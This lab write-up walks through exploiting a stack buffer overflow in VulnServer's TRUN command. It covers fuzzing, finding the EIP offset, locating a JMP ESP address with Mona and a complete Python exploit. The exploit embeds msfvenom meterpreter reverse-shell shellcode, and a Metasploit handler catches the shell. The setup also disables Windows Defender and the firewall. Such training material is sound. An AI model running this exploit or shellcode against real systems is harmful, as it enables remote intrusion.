CyberLab-15
Buffer overflows are a class of memory-corruption vulnerabilities that occur when a program writes beyond the boundaries of an allocated memory, corrupting adjacent memory and changing program execution.
This project examines a vulnerable Windows application in a controlled laboratory environment using VulnServer and Immunity Debugger. The analysis focuses on how malformed input can expose a memory corruption condition.
The writeup follows the vulnerability-analysis process from fuzzing and crash reproduction to EIP control, and memory analysis, providing a practical foundation for understanding Windows binary exploitation and exploit development.
1- Kali Linux (Attacker).
2- Windows Machine.
3- VulnServer. (https://github.com/stephenbradshaw/vulnserver)
4- Immunity Debugger. (https://github.com/kbandla/ImmunityDebugger/tree/master/1.85)
The exploitation process is divided into the following stages:
- Environment Setup
- Fuzzing & Analyzing
- Determining control over the EIP register
- Identifying bad characters & Finding
JMP ESPwith MONA - Generating payload components with MSFvenom
- The final exploit
Before analyzing the vulnerability, it is important to understand how the relevant parts of process memory work. A program uses different memory regions, but for this project the stack is the most important because it is where the vulnerable buffer is located.
Before looking at how buffer overflows occur, it is useful to understand the basic process of a program’s memory. The main memory regions are:
- Code: Contains the instructions executed by the CPU.
- Data: Stores global and static variables.
- Heap: Handles memory that is allocated dynamically during program execution.
- Stack: Manages function execution and stores local variables, saved registers, and return addresses.
Important Registers the stack is managed by:
- ESP (Stack Pointer): Points to the current top of the stack and changes as values are pushed and removed.
- EBP (Base Pointer): Provides a stable reference point for the current stack frame and is commonly used to access local variables and function arguments.
- EIP (Instruction Pointer): Holds the address of the next instruction the CPU will execute.
Buffer Overflow types:
-
A stack-based buffer overflow occurs when more data is written to a buffer than it can hold. The excess data can overwrite nearby values on the stack, potentially reaching the saved EBP and return address. The return address determines where the program continues execution after a function returns. If it is overwritten, the attacker may be able to influence EIP and alter the program's execution flow.
-
A Heap-based overflows are based on the same principle writing beyond an allocated buffer but their exploitation is generally more complex because of the dynamic allocation of heap memory.
Notes:
- VulnServer is is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to various types of exploitable buffer overflows.
- Immunity Debugger is a specialized Windows user-mode software debugger designed for vulnerability research, reverse engineering, malware analysis, and exploit development.
In this project, the focus is on stack-based exploitation.
Step-1 (Environment Setup):
1- Power-On your Kali (192.168.38.130).
2- Download & Run the VulnServer on a windows machine (192.168.38.129).
3- Download & Install Immunity Debugger (Run as Aministrator).
4- Make sure to make both machines on the same virtual network (NAT is fine).
5- Disable Windows defender & Firewall.
nc -nv 192.168.38.129 9999-
Note: Netcat (nc) is a command-line utility used to establish TCP connections between systems. It can be used to connect to a specific IP address and port, making it useful for testing network services and interacting with applications.
-
Open Immunity Debugger as Administrator:
-
Note that VulnServer provides multiple commands that are vulnerable to buffer overflow attacks. For this project, we will focus on the TRUN command.
Step-2 (Fuzzing & Analyzing):
- Fuzzing is an automated testing technique that sends large amounts of unexpected or malformed data to an application to identify crashes or unexpected behavior.
In this stage, we will use a Python script to send a large amount of A characters to the TRUN command and observe when the application crashes.
#!/usr/bin/python
import socket
server = '192.168.38.129' #ChangeThis
sport = 9999
length = int(raw_input('Length of attack: '))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack length ", length, ' to TRUN .'
attack = 'A' * length
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()- We can now try Fuzzing by this script:
python2 Buffer.py
- We will repeat the test with different input sizes until the application crashes. In this case, the crash occurs at 2,500 bytes. At this stage, we have confirmed the presence of a stack-based buffer overflow and achieved memory corruption.
Step-3 (Determining control over the EIP register):
- To determine the exact offset at which the EIP register is overwritten, we will send a cyclic pattern instead of a sequence of
As. When the application crashes, we can examine the value stored in EIP and use the pattern to calculate the exact number of bytes required to reach and overwrite it.
Cyclic pattern: A unique sequence of characters used to determine the exact number of bytes needed to reach a specific location in memory, such as EIP.
msf-pattern_create -l 2500
!/usr/bin/python3
import socket
s = socket.socket()
s.connect(("192.168.38.129", 9999)) #ChangeThis
total_length = 2500
payload = [
b"TRUN /.:/", b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D" #ChangeThis
]
payload = b"".join(payload)
s.send(payload)
s.close()-
Run this new script and return to the debugger to see the unique Bytes where the crash takes place:
-
Copy
386F4337and on your kali run this to get the exact EIP offset:msf-pattern_offset -l 2500 -q 386F4337
Step-4 (Identifying bad characters & Finding JMP ESP with MONA):
-
This exploit works by putting data into a memory area that was not designed to hold it, allowing us to overwrite information and potentially change the program’s execution flow.
-
After gaining control over EIP, the next step is to identify bad characters that could interfere with our payload. Certain bytes may be modified by the VulnServer. We test a range of byte values and examine the resulting data in Immunity Debugger. By comparing the bytes sent with the bytes stored in memory, we can identify which characters are causing problems and exclude it from the payload.
-
With control over EIP, our payload is stored in memory near the address pointed to by ESP, so we need an instruction that redirects execution to that location. A common instruction used for this purpose is JMP ESP, which jumps to the address currently stored in ESP.
-
We can use Mona to search the executable modules loaded by VulnServer for suitable instructions and addresses.
Mona is a plugin for Immunity Debugger that helps with exploit development such as module addresses, instructions like JMP ESP, and other information
- Download Mona and Copy it to the follwoing
C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands.
!mona modules- The goal is to find a module with ASLR and Rebase disabled. ASLR randomizes the module's memory address, while Rebase can cause the module to be relocated. Using a module with both protections disabled gives us a more predictable address to work with.
- In the module list, both vulnserver.exe and essfunc.dll have ASLR = False and Rebase = False. However, the addresses used by vulnserver.exe begin with
0x00. Since0x00is one of the bad characters identified earlier, addresses from this module cannot be reliably used.
Therefore, essfunc.dll is selected as the suitable module. We can now search it for a usable instruction such as JMP ESP.
!mona find -s "\xff\xe4" -m essfunc.dll
- We found 9 locations and will go with
625011AF(0x625011af).
Step-5 (Generating payload components with MSFvenom):
- generating Shellcode by MSFvenom: (This command makes an exploit that will connect from the Windows target back to the Kali Linux attacker on port 4444)
msfvenom -p windows/meterpreter/reverse_tcp LHOST= Kali_IP LPORT=4444 -b"\x00" -f py
- Final Python script for exploitation:
#!/usr/bin/python3
import socket
import struct
s = socket.socket()
s.connect(("192.168.38.129", 9999))
total_length = 2500
offset = 2003
New_EIP = struct.pack("<I", 0x625011af)
nop_sled = b"\x90" * 16
buf = b""
buf += b"\xbb\x66\x9a\xf5\x08\xdb\xcf\xd9\x74\x24\xf4\x5e"
buf += b"\x31\xc9\xb1\x59\x83\xee\xfc\x31\x5e\x11\x03\x5e"
buf += b"\x11\xe2\x93\x66\x1d\x98\x5b\x97\xde\xf9\xd2\x72"
buf += b"\xef\x2b\x80\xf7\x42\xfc\xc3\x5a\x6f\x77\x81\x4e"
buf += b"\x60\x30\x6f\x4b\xf5\x4c\x47\x2c\x30\x7e\x33\x86"
buf += b"\x72\x40\x97\x1b\x14\x3c\xe5\x4f\xf6\x7d\x26\x82"
buf += b"\xf7\xba\xf1\xe8\x18\x16\x56\x98\xb5\x87\xd3\xdc"
buf += b"\x05\xa9\x33\x6b\x35\xd1\x36\xac\xc2\x6b\x39\xfd"
buf += b"\x7b\xe7\x71\xe5\xf0\xaf\xa1\x14\xd4\xd5\x68\x62"
buf += b"\xe0\x5e\x17\x73\x5d\xea\xd3\x08\x5f\x3a\x2a\xcf"
buf += b"\xcc\x03\x83\xc2\x0d\x43\x23\x3d\x78\xbf\x68\xc0"
buf += b"\xa7\x4a\x6c\x62\x23\xec\x54\x92\xe0\x6b\x1f\x98"
buf += b"\x4d\xff\x47\xbd\x50\x2c\xfc\xb9\xd9\xd3\xd2\x4b"
buf += b"\x99\xf7\xf6\x10\x79\x99\xaf\xfc\x2c\xa6\xaf\x59"
buf += b"\x90\x02\xa4\x48\xc7\xcc\x45\x93\xe8\x6e\xd1\x5f"
buf += b"\x25\x91\x21\xc8\x3e\xe2\x13\x57\x95\x6c\x3e\x8a"
buf += b"\x6b\xe1\x49\xbc\x6b\x29\xf1\xad\x95\xca\x01\xe7"
buf += b"\x51\x9e\x51\x9f\x55\x30\x12\xca\x99\x9b\xfe\xfe"
buf += b"\x0d\xe4\x56\xd8\x4f\x8c\xa4\x25\x41\x11\x21\xc3"
buf += b"\x31\xf9\x61\x5c\xf2\xa9\xc1\x0c\x9a\x84\x7f\x1a"
buf += b"\x2f\xe8\xaa\xf4\xba\x06\x02\xac\x52\xcc\x3d\x58"
buf += b"\xe7\xed\x94\xd8\x27\x65\x1c\x1c\xe9\x8e\x55\x0e"
buf += b"\x1e\xe9\x95\xce\xdf\x9c\x95\xa4\xdb\x36\xc2\x50"
buf += b"\x9f\x34\x6c\x81\xa0\xec\xef\x3a\x5e\x71\xd9\x31"
buf += b"\x69\xe7\x65\x2e\x96\xe7\x65\xae\xc0\x6d\x65\xc6"
buf += b"\x95\x6b\xc9\x7c\x99\x59\x82\xd2\x0f\x62\xf2\x87"
buf += b"\x98\x0a\x81\xa5\xa7\xea\x8a\x7f\x24\x14\x74\xfd"
buf += b"\x03\xbd\x1c\xfd\x13\x3d\xdc\x97\x93\x6d\xb4\x55"
buf += b"\xef\x72\xca\x65\xda\xda\xba\xe7\xe0\x81\x72\xe7"
buf += b"\x3e\x17\xdc\xe8\xcd\x8c\xef\x93\xbe\x33\x10\x64"
buf += b"\xd7\x57\x11\x64\xd7\x69\x2e\xb2\xee\x1f\x71\x06"
buf += b"\x55\xc8\x73\x1a\x1f\x9d\x73\x4f\x9f\xb7"
shellcode = buf
payload = [
b"TRUN /.:/",
b"A"*offset,
New_EIP,
nop_sled,
shellcode,
b"C"*(total_length-offset-len(New_EIP)-len(nop_sled)-len(shellcode))
]
payload = b"".join(payload)
s.send(payload)
s.close()struct.pack("<I", 0x625011af)→ converts the chosen 32-bit address into little-byte order so it can overwrite EIP correctly.nop_sled = b"\x90" * 16→ adds 16 NOP instructions (0x90) before the shellcode. This gives execution a small landing area before reaching the shellcode.
Step-6 (The final exploit):
- Let set the multihandler at Metasploit:
msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.38.130
set LPORT 4444
run
- Analyzed VulnServer and identified a stack-based buffer overflow in the TRUN command.
- Used fuzzing to determine the approximate input size required to crash the application.
- Used a cyclic pattern to determine the exact offset needed to overwrite the EIP register.
- Used Mona with Immunity Debugger to analyze loaded modules and identify a suitable
JMP ESPinstruction. - Generated the required payload components using MSFvenom.
- Developed the exploit python script.
- Overall, this project provided practical experience with stack-based buffer overflows, x86 registers, memory corruption, debugging, exploit development, and payload generation.
- How stack-based buffer overflows can cause memory corruption.
- Understood the roles of EIP, ESP, and EBP during program execution.
- Learned how fuzzing can be used to identify crashes.
- Learned how cyclic patterns help find the exact EIP offset.
- Learned how to use Immunity Debugger and Mona for exploit development.
- Gained practical experience analyzing crashes and building an exploit step by step.


